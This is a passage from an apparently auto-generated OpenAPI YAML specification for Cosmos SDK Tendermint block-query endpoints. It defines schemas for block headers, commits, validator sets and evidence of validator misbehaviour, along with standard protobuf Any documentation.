| - SIGNED_MSG_TYPE_PRECOMMIT | |
| - SIGNED_MSG_TYPE_PROPOSAL | |
| default: SIGNED_MSG_TYPE_UNKNOWN | |
| description: >- | |
| SignedMsgType is a type of signed | |
| message in the consensus. | |
| - SIGNED_MSG_TYPE_PREVOTE: Votes | |
| - SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| timestamp: | |
| type: string | |
| format: date-time | |
| validator_address: | |
| type: string | |
| format: byte | |
| validator_index: | |
| type: integer | |
| format: int32 | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| Vote represents a prevote, precommit, or | |
| commit vote from validators for | |
| consensus. | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| validator_power: | |
| type: string | |
| format: int64 | |
| timestamp: | |
| type: string | |
| format: date-time | |
| description: >- | |
| DuplicateVoteEvidence contains evidence of a | |
| validator signed two conflicting votes. | |
| light_client_attack_evidence: | |
| type: object | |
| properties: | |
| conflicting_block: | |
| type: object | |
| properties: | |
| signed_header: | |
| type: object | |
| properties: | |
| header: | |
| type: object | |
| properties: | |
| version: | |
| title: basic block info | |
| type: object | |
| properties: | |
| block: | |
| type: string | |
| format: uint64 | |
| app: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Consensus captures the consensus rules | |
| for processing a block in the | |
| blockchain, | |
| including all blockchain data structures | |
| and the rules of the application's | |
| state transition machine. | |
| chain_id: | |
| type: string | |
| height: | |
| type: string | |
| format: int64 | |
| time: | |
| type: string | |
| format: date-time | |
| last_block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| last_commit_hash: | |
| type: string | |
| format: byte | |
| title: hashes of block data | |
| data_hash: | |
| type: string | |
| format: byte | |
| validators_hash: | |
| type: string | |
| format: byte | |
| title: >- | |
| hashes from the app output from the prev | |
| block | |
| next_validators_hash: | |
| type: string | |
| format: byte | |
| consensus_hash: | |
| type: string | |
| format: byte | |
| app_hash: | |
| type: string | |
| format: byte | |
| last_results_hash: | |
| type: string | |
| format: byte | |
| evidence_hash: | |
| type: string | |
| format: byte | |
| title: consensus info | |
| proposer_address: | |
| type: string | |
| format: byte | |
| description: >- | |
| Header defines the structure of a | |
| Tendermint block header. | |
| commit: | |
| type: object | |
| properties: | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| signatures: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| block_id_flag: | |
| type: string | |
| enum: | |
| - BLOCK_ID_FLAG_UNKNOWN | |
| - BLOCK_ID_FLAG_ABSENT | |
| - BLOCK_ID_FLAG_COMMIT | |
| - BLOCK_ID_FLAG_NIL | |
| default: BLOCK_ID_FLAG_UNKNOWN | |
| title: >- | |
| BlockIdFlag indicates which BlcokID the | |
| signature is for | |
| validator_address: | |
| type: string | |
| format: byte | |
| timestamp: | |
| type: string | |
| format: date-time | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| CommitSig is a part of the Vote included | |
| in a Commit. | |
| description: >- | |
| Commit contains the evidence that a | |
| block was committed by a set of | |
| validators. | |
| validator_set: | |
| type: object | |
| properties: | |
| validators: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| proposer: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| common_height: | |
| type: string | |
| format: int64 | |
| byzantine_validators: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| timestamp: | |
| type: string | |
| format: date-time | |
| description: >- | |
| LightClientAttackEvidence contains evidence of a | |
| set of validators attempting to mislead a light | |
| client. | |
| last_commit: | |
| type: object | |
| properties: | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| signatures: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| block_id_flag: | |
| type: string | |
| enum: | |
| - BLOCK_ID_FLAG_UNKNOWN | |
| - BLOCK_ID_FLAG_ABSENT | |
| - BLOCK_ID_FLAG_COMMIT | |
| - BLOCK_ID_FLAG_NIL | |
| default: BLOCK_ID_FLAG_UNKNOWN | |
| title: >- | |
| BlockIdFlag indicates which BlcokID the | |
| signature is for | |
| validator_address: | |
| type: string | |
| format: byte | |
| timestamp: | |
| type: string | |
| format: date-time | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| CommitSig is a part of the Vote included in a | |
| Commit. | |
| description: >- | |
| Commit contains the evidence that a block was committed by | |
| a set of validators. | |
| sdk_block: | |
| title: 'Since: cosmos-sdk 0.47' | |
| type: object | |
| properties: | |
| header: | |
| type: object | |
| properties: | |
| version: | |
| title: basic block info | |
| type: object | |
| properties: | |
| block: | |
| type: string | |
| format: uint64 | |
| app: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Consensus captures the consensus rules for processing | |
| a block in the blockchain, | |
| including all blockchain data structures and the rules | |
| of the application's | |
| state transition machine. | |
| chain_id: | |
| type: string | |
| height: | |
| type: string | |
| format: int64 | |
| time: | |
| type: string | |
| format: date-time | |
| last_block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| last_commit_hash: | |
| type: string | |
| format: byte | |
| title: hashes of block data | |
| data_hash: | |
| type: string | |
| format: byte | |
| validators_hash: | |
| type: string | |
| format: byte | |
| title: hashes from the app output from the prev block | |
| next_validators_hash: | |
| type: string | |
| format: byte | |
| consensus_hash: | |
| type: string | |
| format: byte | |
| app_hash: | |
| type: string | |
| format: byte | |
| last_results_hash: | |
| type: string | |
| format: byte | |
| evidence_hash: | |
| type: string | |
| format: byte | |
| title: consensus info | |
| proposer_address: | |
| type: string | |
| description: >- | |
| proposer_address is the original block proposer | |
| address, formatted as a Bech32 string. | |
| In Tendermint, this type is `bytes`, but in the SDK, | |
| we convert it to a Bech32 string | |
| for better UX. | |
| description: Header defines the structure of a Tendermint block header. | |
| data: | |
| type: object | |
| properties: | |
| txs: | |
| type: array | |
| items: | |
| type: string | |
| format: byte | |
| description: >- | |
| Txs that will be applied by state @ block.Height+1. | |
| NOTE: not all txs here are valid. We're just agreeing | |
| on the order first. | |
| This means that block.AppHash does not include these | |
| txs. | |
| title: >- | |
| Data contains the set of transactions included in the | |
| block | |
| evidence: | |
| type: object | |
| properties: | |
| evidence: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| duplicate_vote_evidence: | |
| type: object | |
| properties: | |
| vote_a: | |
| type: object | |
| properties: | |
| type: | |
| type: string | |
| enum: | |
| - SIGNED_MSG_TYPE_UNKNOWN | |
| - SIGNED_MSG_TYPE_PREVOTE | |
| - SIGNED_MSG_TYPE_PRECOMMIT | |
| - SIGNED_MSG_TYPE_PROPOSAL | |
| default: SIGNED_MSG_TYPE_UNKNOWN | |
| description: >- | |
| SignedMsgType is a type of signed | |
| message in the consensus. | |
| - SIGNED_MSG_TYPE_PREVOTE: Votes | |
| - SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| timestamp: | |
| type: string | |
| format: date-time | |
| validator_address: | |
| type: string | |
| format: byte | |
| validator_index: | |
| type: integer | |
| format: int32 | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| Vote represents a prevote, precommit, or | |
| commit vote from validators for | |
| consensus. | |
| vote_b: | |
| type: object | |
| properties: | |
| type: | |
| type: string | |
| enum: | |
| - SIGNED_MSG_TYPE_UNKNOWN | |
| - SIGNED_MSG_TYPE_PREVOTE | |
| - SIGNED_MSG_TYPE_PRECOMMIT | |
| - SIGNED_MSG_TYPE_PROPOSAL | |
| default: SIGNED_MSG_TYPE_UNKNOWN | |
| description: >- | |
| SignedMsgType is a type of signed | |
| message in the consensus. | |
| - SIGNED_MSG_TYPE_PREVOTE: Votes | |
| - SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| timestamp: | |
| type: string | |
| format: date-time | |
| validator_address: | |
| type: string | |
| format: byte | |
| validator_index: | |
| type: integer | |
| format: int32 | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| Vote represents a prevote, precommit, or | |
| commit vote from validators for | |
| consensus. | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| validator_power: | |
| type: string | |
| format: int64 | |
| timestamp: | |
| type: string | |
| format: date-time | |
| description: >- | |
| DuplicateVoteEvidence contains evidence of a | |
| validator signed two conflicting votes. | |
| light_client_attack_evidence: | |
| type: object | |
| properties: | |
| conflicting_block: | |
| type: object | |
| properties: | |
| signed_header: | |
| type: object | |
| properties: | |
| header: | |
| type: object | |
| properties: | |
| version: | |
| title: basic block info | |
| type: object | |
| properties: | |
| block: | |
| type: string | |
| format: uint64 | |
| app: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Consensus captures the consensus rules | |
| for processing a block in the | |
| blockchain, | |
| including all blockchain data structures | |
| and the rules of the application's | |
| state transition machine. | |
| chain_id: | |
| type: string | |
| height: | |
| type: string | |
| format: int64 | |
| time: | |
| type: string | |
| format: date-time | |
| last_block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| last_commit_hash: | |
| type: string | |
| format: byte | |
| title: hashes of block data | |
| data_hash: | |
| type: string | |
| format: byte | |
| validators_hash: | |
| type: string | |
| format: byte | |
| title: >- | |
| hashes from the app output from the prev | |
| block | |
| next_validators_hash: | |
| type: string | |
| format: byte | |
| consensus_hash: | |
| type: string | |
| format: byte | |
| app_hash: | |
| type: string | |
| format: byte | |
| last_results_hash: | |
| type: string | |
| format: byte | |
| evidence_hash: | |
| type: string | |
| format: byte | |
| title: consensus info | |
| proposer_address: | |
| type: string | |
| format: byte | |
| description: >- | |
| Header defines the structure of a | |
| Tendermint block header. | |
| commit: | |
| type: object | |
| properties: | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| signatures: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| block_id_flag: | |
| type: string | |
| enum: | |
| - BLOCK_ID_FLAG_UNKNOWN | |
| - BLOCK_ID_FLAG_ABSENT | |
| - BLOCK_ID_FLAG_COMMIT | |
| - BLOCK_ID_FLAG_NIL | |
| default: BLOCK_ID_FLAG_UNKNOWN | |
| title: >- | |
| BlockIdFlag indicates which BlcokID the | |
| signature is for | |
| validator_address: | |
| type: string | |
| format: byte | |
| timestamp: | |
| type: string | |
| format: date-time | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| CommitSig is a part of the Vote included | |
| in a Commit. | |
| description: >- | |
| Commit contains the evidence that a | |
| block was committed by a set of | |
| validators. | |
| validator_set: | |
| type: object | |
| properties: | |
| validators: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| proposer: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| common_height: | |
| type: string | |
| format: int64 | |
| byzantine_validators: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| timestamp: | |
| type: string | |
| format: date-time | |
| description: >- | |
| LightClientAttackEvidence contains evidence of a | |
| set of validators attempting to mislead a light | |
| client. | |
| last_commit: | |
| type: object | |
| properties: | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| signatures: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| block_id_flag: | |
| type: string | |
| enum: | |
| - BLOCK_ID_FLAG_UNKNOWN | |
| - BLOCK_ID_FLAG_ABSENT | |
| - BLOCK_ID_FLAG_COMMIT | |
| - BLOCK_ID_FLAG_NIL | |
| default: BLOCK_ID_FLAG_UNKNOWN | |
| title: >- | |
| BlockIdFlag indicates which BlcokID the | |
| signature is for | |
| validator_address: | |
| type: string | |
| format: byte | |
| timestamp: | |
| type: string | |
| format: date-time | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| CommitSig is a part of the Vote included in a | |
| Commit. | |
| description: >- | |
| Commit contains the evidence that a block was committed by | |
| a set of validators. | |
| description: >- | |
| Block is tendermint type Block, with the Header proposer | |
| address | |
| field converted to bech32 string. | |
| description: >- | |
| GetLatestBlockResponse is the response type for the | |
| Query/GetLatestBlock RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Service | |
| /cosmos/base/tendermint/v1beta1/blocks/{height}: | |
| get: | |
| summary: GetBlockByHeight queries block for given height. | |
| operationId: GetBlockByHeight | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| block: | |
| title: 'Deprecated: please use `sdk_block` instead' | |
| type: object | |
| properties: | |
| header: | |
| type: object | |
| properties: | |
| version: | |
| title: basic block info | |
| type: object | |
| properties: | |
| block: | |
| type: string | |
| format: uint64 | |
| app: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Consensus captures the consensus rules for processing | |
| a block in the blockchain, | |
| including all blockchain data structures and the rules | |
| of the application's | |
| state transition machine. | |
| chain_id: | |
| type: string | |
| height: | |
| type: string | |
| format: int64 | |
| time: | |
| type: string | |
| format: date-time | |
| last_block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| last_commit_hash: | |
| type: string | |
| format: byte | |
| title: hashes of block data | |
| data_hash: | |
| type: string | |
| format: byte | |
| validators_hash: | |
| type: string | |
| format: byte | |
| title: hashes from the app output from the prev block | |
| next_validators_hash: | |
| type: string | |
| format: byte | |
| consensus_hash: | |
| type: string | |
| format: byte | |
| app_hash: | |
| type: string | |
| format: byte | |
| last_results_hash: | |
| type: string | |
| format: byte | |
| evidence_hash: | |
| type: string | |
| format: byte | |
| title: consensus info | |
| proposer_address: | |
| type: string | |
| format: byte | |
| description: Header defines the structure of a Tendermint block header. | |
| data: | |
| type: object | |
| properties: | |
| txs: | |
| type: array | |
| items: | |
| type: string | |
| format: byte | |
| description: >- | |
| Txs that will be applied by state @ block.Height+1. | |
| NOTE: not all txs here are valid. We're just agreeing | |
| on the order first. | |
| This means that block.AppHash does not include these | |
| txs. | |
| title: >- | |
| Data contains the set of transactions included in the | |
| block | |
| evidence: | |
| type: object | |
| properties: | |
| evidence: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| duplicate_vote_evidence: | |
| type: object | |
| properties: | |
| vote_a: | |
| type: object | |
| properties: | |
| type: | |
| type: string | |
| enum: | |
| - SIGNED_MSG_TYPE_UNKNOWN | |
| - SIGNED_MSG_TYPE_PREVOTE | |
| - SIGNED_MSG_TYPE_PRECOMMIT | |
| - SIGNED_MSG_TYPE_PROPOSAL | |
| default: SIGNED_MSG_TYPE_UNKNOWN | |
| description: >- | |
| SignedMsgType is a type of signed | |
| message in the consensus. | |
| - SIGNED_MSG_TYPE_PREVOTE: Votes | |
| - SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| timestamp: | |
| type: string | |
| format: date-time | |
| validator_address: | |
| type: string | |
| format: byte | |
| validator_index: | |
| type: integer | |
| format: int32 | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| Vote represents a prevote, precommit, or | |
| commit vote from validators for | |
| consensus. | |
| vote_b: | |
| type: object | |
| properties: | |
| type: | |
| type: string | |
| enum: | |
| - SIGNED_MSG_TYPE_UNKNOWN | |
| - SIGNED_MSG_TYPE_PREVOTE | |
| - SIGNED_MSG_TYPE_PRECOMMIT | |
| - SIGNED_MSG_TYPE_PROPOSAL | |
| default: SIGNED_MSG_TYPE_UNKNOWN | |
| description: >- | |
| SignedMsgType is a type of signed | |
| message in the consensus. | |
| - SIGNED_MSG_TYPE_PREVOTE: Votes | |
| - SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| timestamp: | |
| type: string | |
| format: date-time | |
| validator_address: | |
| type: string | |
| format: byte | |
| validator_index: | |
| type: integer | |
| format: int32 | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| Vote represents a prevote, precommit, or | |
| commit vote from validators for | |
| consensus. | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| validator_power: | |
| type: string | |
| format: int64 | |
| timestamp: | |
| type: string | |
| format: date-time | |
| description: >- | |
| DuplicateVoteEvidence contains evidence of a | |
| validator signed two conflicting votes. | |
| light_client_attack_evidence: | |
| type: object | |
| properties: | |
| conflicting_block: | |
| type: object | |
| properties: | |
| signed_header: | |
| type: object | |
| properties: | |
| header: | |
| type: object | |
| properties: | |
| version: | |
| title: basic block info | |
| type: object | |
| properties: | |
| block: | |
| type: string | |
| format: uint64 | |
| app: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Consensus captures the consensus rules | |
| for processing a block in the | |
| blockchain, | |
| including all blockchain data structures | |
| and the rules of the application's | |
| state transition machine. | |
| chain_id: | |
| type: string | |
| height: | |
| type: string | |
| format: int64 | |
| time: | |
| type: string | |
| format: date-time | |
| last_block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| last_commit_hash: | |
| type: string | |
| format: byte | |
| title: hashes of block data | |
| data_hash: | |
| type: string | |
| format: byte | |
| validators_hash: | |
| type: string | |
| format: byte | |
| title: >- | |
| hashes from the app output from the prev | |
| block | |
| next_validators_hash: | |
| type: string | |
| format: byte | |
| consensus_hash: | |
| type: string | |
| format: byte | |
| app_hash: | |
| type: string | |
| format: byte | |
| last_results_hash: | |
| type: string | |
| format: byte | |
| evidence_hash: | |
| type: string | |
| format: byte | |
| title: consensus info | |
| proposer_address: | |
| type: string | |
| format: byte | |
| description: >- | |
| Header defines the structure of a | |
| Tendermint block header. | |
| commit: | |
| type: object | |
| properties: | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| signatures: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| block_id_flag: | |
| type: string | |
| enum: | |
| - BLOCK_ID_FLAG_UNKNOWN | |
| - BLOCK_ID_FLAG_ABSENT | |
| - BLOCK_ID_FLAG_COMMIT | |
| - BLOCK_ID_FLAG_NIL | |
| default: BLOCK_ID_FLAG_UNKNOWN | |
| title: >- | |
| BlockIdFlag indicates which BlcokID the | |
| signature is for | |
| validator_address: | |
| type: string | |
| format: byte | |
| timestamp: | |
| type: string | |
| format: date-time | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| CommitSig is a part of the Vote included | |
| in a Commit. | |
| description: >- | |
| Commit contains the evidence that a | |
| block was committed by a set of | |
| validators. | |
| validator_set: | |
| type: object | |
| properties: | |
| validators: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| proposer: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| common_height: | |
| type: string | |
| format: int64 | |
| byzantine_validators: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| total_voting_power: | |
| type: string | |
